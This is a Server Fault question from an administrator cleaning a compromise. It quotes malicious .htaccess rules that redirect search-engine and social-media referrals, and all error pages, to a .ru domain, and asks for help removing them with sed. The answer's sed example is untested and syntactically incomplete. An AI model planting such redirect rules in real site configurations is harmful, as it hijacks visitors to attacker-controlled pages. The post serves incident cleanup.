Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

I have a couple of hundred .htaccess files and I want to remove mallicous lines from them. On the top they all have:

IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L]
</IfModule>

and on the bottom:

ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8

I'm really lost in sed portion, can somebody help me? :(

I have so far:

find . -name '.htaccess' -exec sed 'pasla-ghwoo' {} \;
share|improve this question
    
Would it not be easier to restore them from your backups? –  Ladadadada Jun 8 '12 at 19:16
    
This doesn't help with the mechanism used to get the malicious files there in the first place. Fix the root cause, not the symptom. –  Shane Madden Jun 8 '12 at 23:41

1 Answer 1

What do you want to replace it with? I personally prefer this Perl one-liner:

perl -i.bak -p -e 's/find/replace/ig' .htaccess

This creates a backup files modified and adds the .bak extension.

Does that give you enough to get started?

Here is a similar sed e.g,, (untested though!):

sed -i 's/find/replace' 

-i is "in place."

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.